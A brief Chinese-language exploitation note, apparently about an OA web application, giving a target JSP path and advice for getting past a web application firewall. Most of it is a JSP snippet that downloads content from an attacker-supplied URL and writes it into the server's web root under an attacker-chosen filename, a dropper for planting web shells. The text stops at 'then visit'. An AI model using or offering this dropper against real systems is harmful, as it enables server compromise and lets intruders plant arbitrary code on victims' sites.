路径

/defaultroot/public/edit/test1.jsp

碰到有WAF的时候可以先写入远程下载文件的代码：

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

然后访问
